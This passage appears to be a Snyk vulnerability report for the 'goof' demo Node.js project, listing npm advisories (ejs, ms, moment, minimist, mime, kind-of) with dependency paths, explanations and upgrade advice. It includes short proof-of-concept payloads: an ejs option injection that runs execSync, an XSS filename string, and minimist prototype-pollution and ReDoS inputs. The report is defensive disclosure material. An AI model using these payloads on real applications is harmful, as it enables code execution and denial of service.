The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

+

From there, the number of steps the engine must use to validate a string just continues to grow.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
StringNumber of C'sNumber of steps
ACCCX338
ACCCCX471
ACCCCCX5136
ACCCCCCCCCCCCCCX1465,553
+

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

+

Remediation

+

Upgrade handlebars to version 4.6.0 or higher.

+

References

+ + +
+ + + +
+
+

Arbitrary Code Injection

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + ejs +
  • + +
  • Introduced through: + + goof@1.0.1 and ejs@1.0.0 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + ejs@1.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + ejs-locals@1.0.2 + + ejs@0.8.8 + + + +
  • +
+ +
+ +
+ +

Overview

+

ejs is a popular JavaScript templating engine.

+

Affected versions of this package are vulnerable to Arbitrary Code Injection via the render and renderFile. If external input is flowing into the options parameter, an attacker is able run arbitrary code. This include the filename, compileDebug, and client option.

+

POC

+
let ejs = require('ejs')
+        ejs.render('./views/test.ejs',{
+            filename:'/etc/passwd\nfinally { this.global.process.mainModule.require(\'child_process\').execSync(\'touch EJS_HACKED\') }',
+            compileDebug: true,
+            message: 'test',
+            client: true
+        })
+        
+

Remediation

+

Upgrade ejs to version 3.1.6 or higher.

+

References

+ + +
+ + + +
+
+

Cross-site Scripting (XSS)

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + ejs +
  • + +
  • Introduced through: + + goof@1.0.1 and ejs@1.0.0 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + ejs@1.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + ejs-locals@1.0.2 + + ejs@0.8.8 + + + +
  • +
+ +
+ +
+ +

Overview

+

ejs is a popular JavaScript templating engine. + Affected versions of the package are vulnerable to Cross-site Scripting by letting the attacker under certain conditions control and override the filename option causing it to render the value as is, without escaping it. + You can read more about this vulnerability on the Snyk blog.

+

There's also a Remote Code Execution & Denial of Service vulnerabilities caused by the same behaviour.

+

Details

+

ejs provides a few different options for you to render a template, two being very similar: ejs.render() and ejs.renderFile(). The only difference being that render expects a string to be used for the template and renderFile expects a path to a template file.

+

Both functions can be invoked in two ways. The first is calling them with template, data, and options:

+
ejs.render(str, data, options);
+        
+        ejs.renderFile(filename, data, options, callback)
+        
+

The second way would be by calling only the template and data, while ejs lets the options be passed as part of the data:

+
ejs.render(str, dataAndOptions);
+        
+        ejs.renderFile(filename, dataAndOptions, callback)
+        
+

If used with a variable list supplied by the user (e.g. by reading it from the URI with qs or equivalent), an attacker can control ejs options. This includes the filename option, which will be rendered as is when an error occurs during rendering.

+
ejs.renderFile('my-template', {filename:'<script>alert(1)</script>'}, callback);
+        
+

The fix introduced in version 2.5.3 blacklisted root options from options passed via the data object.

+

Disclosure Timeline

+
    +
  • November 28th, 2016 - Reported the issue to package owner.
  • +
  • November 28th, 2016 - Issue acknowledged by package owner.
  • +
  • December 06th, 2016 - Issue fixed and version 2.5.5 released.
  • +
+

Remediation

+

The vulnerability can be resolved by either using the GitHub integration to generate a pull-request from your dashboard or by running snyk wizard from the command-line interface. + Otherwise, Upgrade ejs to version 2.5.5 or higher.

+

References

+ + +
+ + + +
+
+

Denial of Service (DoS)

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + ejs +
  • + +
  • Introduced through: + + goof@1.0.1 and ejs@1.0.0 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + ejs@1.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + ejs-locals@1.0.2 + + ejs@0.8.8 + + + +
  • +
+ +
+ +
+ +

Overview

+

ejs is a popular JavaScript templating engine. + Affected versions of the package are vulnerable to Denial of Service by letting the attacker under certain conditions control and override the localNames option causing it to crash. + You can read more about this vulnerability on the Snyk blog.

+

There's also a Remote Code Execution & Cross-site Scripting vulnerabilities caused by the same behaviour.

+

Details

+

ejs provides a few different options for you to render a template, two being very similar: ejs.render() and ejs.renderFile(). The only difference being that render expects a string to be used for the template and renderFile expects a path to a template file.

+

Both functions can be invoked in two ways. The first is calling them with template, data, and options:

+
ejs.render(str, data, options);
+        
+        ejs.renderFile(filename, data, options, callback)
+        
+

The second way would be by calling only the template and data, while ejs lets the options be passed as part of the data:

+
ejs.render(str, dataAndOptions);
+        
+        ejs.renderFile(filename, dataAndOptions, callback)
+        
+

If used with a variable list supplied by the user (e.g. by reading it from the URI with qs or equivalent), an attacker can control ejs options. This includes the localNames option, which will cause the renderer to crash.

+
ejs.renderFile('my-template', {localNames:'try'}, callback);
+        
+

The fix introduced in version 2.5.3 blacklisted root options from options passed via the data object.

+

Disclosure Timeline

+
    +
  • November 28th, 2016 - Reported the issue to package owner.
  • +
  • November 28th, 2016 - Issue acknowledged by package owner.
  • +
  • December 06th, 2016 - Issue fixed and version 2.5.5 released.
  • +
+

Remediation

+

The vulnerability can be resolved by either using the GitHub integration to generate a pull-request from your dashboard or by running snyk wizard from the command-line interface. + Otherwise, Upgrade ejs to version 2.5.5 or higher.

+

References

+ + +
+ + + +
+
+

Regular Expression Denial of Service (ReDoS)

+
+ +
+ low severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + ms +
  • + +
  • Introduced through: + + + goof@1.0.1, mongoose@4.2.4 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + mongoose@4.2.4 + + ms@0.7.1 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + express@4.12.4 + + debug@2.2.0 + + ms@0.7.1 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + express@4.12.4 + + send@0.12.3 + + ms@0.7.1 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + express@4.12.4 + + finalhandler@0.3.6 + + debug@2.2.0 + + ms@0.7.1 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + express@4.12.4 + + send@0.12.3 + + debug@2.2.0 + + ms@0.7.1 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + mongoose@4.2.4 + + mquery@1.6.3 + + debug@2.2.0 + + ms@0.7.1 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + express@4.12.4 + + serve-static@1.9.3 + + send@0.12.3 + + ms@0.7.1 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + express@4.12.4 + + serve-static@1.9.3 + + send@0.12.3 + + debug@2.2.0 + + ms@0.7.1 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + ms@0.7.3 + + + +
  • +
+ +
+ +
+ +

Overview

+

ms is a tiny millisecond conversion utility.

+

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to an incomplete fix for previously reported vulnerability npm:ms:20151024. The fix limited the length of accepted input string to 10,000 characters, and turned to be insufficient making it possible to block the event loop for 0.3 seconds (on a typical laptop) with a specially crafted string passed to ms() function.

+

Proof of concept

+
ms = require('ms');
+        ms('1'.repeat(9998) + 'Q') // Takes about ~0.3s
+        
+

Note: Snyk's patch for this vulnerability limits input length to 100 characters. This new limit was deemed to be a breaking change by the author. + Based on user feedback, we believe the risk of breakage is very low, while the value to your security is much greater, and therefore opted to still capture this change in a patch for earlier versions as well. Whenever patching security issues, we always suggest to run tests on your code to validate that nothing has been broken.

+

For more information on Regular Expression Denial of Service (ReDoS) attacks, go to our blog.

+

Disclosure Timeline

+
    +
  • Feb 9th, 2017 - Reported the issue to package owner.
  • +
  • Feb 11th, 2017 - Issue acknowledged by package owner.
  • +
  • April 12th, 2017 - Fix PR opened by Snyk Security Team.
  • +
  • May 15th, 2017 - Vulnerability published.
  • +
  • May 16th, 2017 - Issue fixed and version 2.0.0 released.
  • +
  • May 21th, 2017 - Patches released for versions >=0.7.1, <=1.0.0.
  • +
+

Details

+

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

+

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

+

Let’s take the following regular expression as an example:

+
regex = /A(B|C+)+D/
+        
+

This regular expression accomplishes the following:

+
    +
  • A The string must start with the letter 'A'
  • +
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • +
  • D Finally, we ensure this section of the string ends with a 'D'
  • +
+

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

+

It most cases, it doesn't take very long for a regex engine to find a match:

+
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+        0.04s user 0.01s system 95% cpu 0.052 total
+        
+        $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+        1.79s user 0.02s system 99% cpu 1.812 total
+        
+

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

+

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

+

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

+
    +
  1. CCC
  2. +
  3. CC+C
  4. +
  5. C+CC
  6. +
  7. C+C+C.
  8. +
+

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

+

From there, the number of steps the engine must use to validate a string just continues to grow.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
StringNumber of C'sNumber of steps
ACCCX338
ACCCCX471
ACCCCCX5136
ACCCCCCCCCCCCCCX1465,553
+

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

+

Remediation

+

Upgrade ms to version 2.0.0 or higher.

+

References

+ + +
+ + + +
+
+

Regular Expression Denial of Service (ReDoS)

+
+ +
+ low severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + moment +
  • + +
  • Introduced through: + + goof@1.0.1 and moment@2.15.1 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + moment@2.15.1 + + + +
  • +
+ +
+ +
+ +

Overview

+

moment is a lightweight JavaScript date library for parsing, validating, manipulating, and formatting dates.

+

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It used a regular expression (/[0-9]*['a-z\u00A0-\u05FF\u0700-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]+|[\u0600-\u06FF\/]+(\s*?[\u0600-\u06FF]+){1,2}/i) in order to parse dates specified as strings. This can cause a very low impact of about 2 seconds matching time for data 50k characters long.

+

Details

+

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

+

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

+

Let’s take the following regular expression as an example:

+
regex = /A(B|C+)+D/
+        
+

This regular expression accomplishes the following:

+
    +
  • A The string must start with the letter 'A'
  • +
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • +
  • D Finally, we ensure this section of the string ends with a 'D'
  • +
+

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

+

It most cases, it doesn't take very long for a regex engine to find a match:

+
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+        0.04s user 0.01s system 95% cpu 0.052 total
+        
+        $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+        1.79s user 0.02s system 99% cpu 1.812 total
+        
+

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

+

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

+

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

+
    +
  1. CCC
  2. +
  3. CC+C
  4. +
  5. C+CC
  6. +
  7. C+C+C.
  8. +
+

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

+

From there, the number of steps the engine must use to validate a string just continues to grow.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
StringNumber of C'sNumber of steps
ACCCX338
ACCCCX471
ACCCCCX5136
ACCCCCCCCCCCCCCX1465,553
+

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

+

Remediation

+

Upgrade moment to version 2.19.3 or higher.

+

References

+ + +
+ + + +
+
+

Prototype Pollution

+
+ +
+ low severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + minimist +
  • + +
  • Introduced through: + + + goof@1.0.1, hbs@4.0.4 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + hbs@4.0.4 + + handlebars@4.0.14 + + optimist@0.6.1 + + minimist@0.0.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + coveralls@3.0.9 + + minimist@1.2.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + mkdirp@0.5.1 + + minimist@0.0.8 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + mkdirp@0.5.1 + + minimist@0.0.8 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + caching-transform@1.0.1 + + mkdirp@0.5.1 + + minimist@0.0.8 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + find-cache-dir@0.1.1 + + mkdirp@0.5.1 + + minimist@0.0.8 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-report@1.1.3 + + mkdirp@0.5.1 + + minimist@0.0.8 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-source-maps@1.2.3 + + mkdirp@0.5.1 + + minimist@0.0.8 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + spawn-wrap@1.4.2 + + mkdirp@0.5.1 + + minimist@0.0.8 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-reports@1.4.0 + + handlebars@4.0.11 + + optimist@0.6.1 + + minimist@0.0.8 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + typeorm@0.2.24 + + mkdirp@0.5.5 + + minimist@1.2.5 + + + +
  • +
+ +
+ +
+ +

Overview

+

minimist is a parse argument options module.

+

Affected versions of this package are vulnerable to Prototype Pollution due to a missing handler to Function.prototype. + Note: this is a bypass to CVE-2020-7598

+

PoC by Snyk

+
require('minimist')('--_.constructor.constructor.prototype.foo bar'.split(' '));
+        console.log((function(){}).foo); // bar
+        
+

Details

+

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

+

There are two main ways in which the pollution of prototypes occurs:

+
    +
  • Unsafe Object recursive merge

    +
  • +
  • Property definition by path

    +
  • +
+

Unsafe Object recursive merge

+

The logic of a vulnerable recursive merge function follows the following high-level model:

+
merge (target, source)
+        
+          foreach property of source
+        
+            if property exists and is an object on both the target and the source
+        
+              merge(target[property], source[property])
+        
+            else
+        
+              target[property] = source[property]
+        
+
+ +

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

+

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

+

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

+

Property definition by path

+

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

+

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

+

Types of attacks

+

There are a few methods by which Prototype Pollution can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginShort description
Denial of service (DoS)ClientThis is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code ExecutionClientRemote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property InjectionClientThe attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.
+

Affected environments

+

The following environments are susceptible to a Prototype Pollution attack:

+
    +
  • Application server

    +
  • +
  • Web server

    +
  • +
+

How to prevent

+
    +
  1. Freeze the prototype— use Object.freeze (Object.prototype).

    +
  2. +
  3. Require schema validation of JSON input.

    +
  4. +
  5. Avoid using unsafe recursive merge functions.

    +
  6. +
  7. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

    +
  8. +
  9. As a best practice use Map instead of Object.

    +
  10. +
+

For more information on this vulnerability type:

+

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

+

Remediation

+

Upgrade minimist to version 1.2.6 or higher.

+

References

+ + +
+ + + +
+
+

Regular Expression Denial of Service (ReDoS)

+
+ +
+ low severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + mime +
  • + +
  • Introduced through: + + + goof@1.0.1, express@4.12.4 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + express@4.12.4 + + send@0.12.3 + + mime@1.3.4 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + express@4.12.4 + + serve-static@1.9.3 + + send@0.12.3 + + mime@1.3.4 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + st@0.2.4 + + mime@1.2.11 + + + +
  • +
+ +
+ +
+ +

Overview

+

mime is a comprehensive, compact MIME type module.

+

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It uses regex the following regex /.*[\.\/\\]/ in its lookup, which can cause a slowdown of 2 seconds for 50k characters.

+

Details

+

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

+

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

+

Let’s take the following regular expression as an example:

+
regex = /A(B|C+)+D/
+        
+

This regular expression accomplishes the following:

+
    +
  • A The string must start with the letter 'A'
  • +
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • +
  • D Finally, we ensure this section of the string ends with a 'D'
  • +
+

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

+

It most cases, it doesn't take very long for a regex engine to find a match:

+
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+        0.04s user 0.01s system 95% cpu 0.052 total
+        
+        $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+        1.79s user 0.02s system 99% cpu 1.812 total
+        
+

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

+

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

+

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

+
    +
  1. CCC
  2. +
  3. CC+C
  4. +
  5. C+CC
  6. +
  7. C+C+C.
  8. +
+

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

+

From there, the number of steps the engine must use to validate a string just continues to grow.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
StringNumber of C'sNumber of steps
ACCCX338
ACCCCX471
ACCCCCX5136
ACCCCCCCCCCCCCCX1465,553
+

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

+

Remediation

+

Upgrade mime to version 1.4.1, 2.0.3 or higher.

+

References

+ + +
+ + + +
+
+

Validation Bypass

+
+ +
+ low severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + kind-of +
  • + +
  • Introduced through: + + + goof@1.0.1, tap@11.1.5 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + nanomatch@1.2.9 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + snapdragon@0.8.2 + + use@3.1.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + nanomatch@1.2.9 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + is-accessor-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + is-data-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + extglob@2.0.4 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + to-regex@3.0.2 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + nanomatch@1.2.9 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + braces@2.3.2 + + snapdragon@0.8.2 + + use@3.1.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + extglob@2.0.4 + + snapdragon@0.8.2 + + use@3.1.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + nanomatch@1.2.9 + + snapdragon@0.8.2 + + use@3.1.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + snapdragon@0.8.2 + + use@3.1.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + extglob@2.0.4 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + is-accessor-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + to-regex@3.0.2 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + is-accessor-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + nanomatch@1.2.9 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + is-accessor-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + is-accessor-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + extglob@2.0.4 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + is-data-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + to-regex@3.0.2 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + is-data-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + nanomatch@1.2.9 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + is-data-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
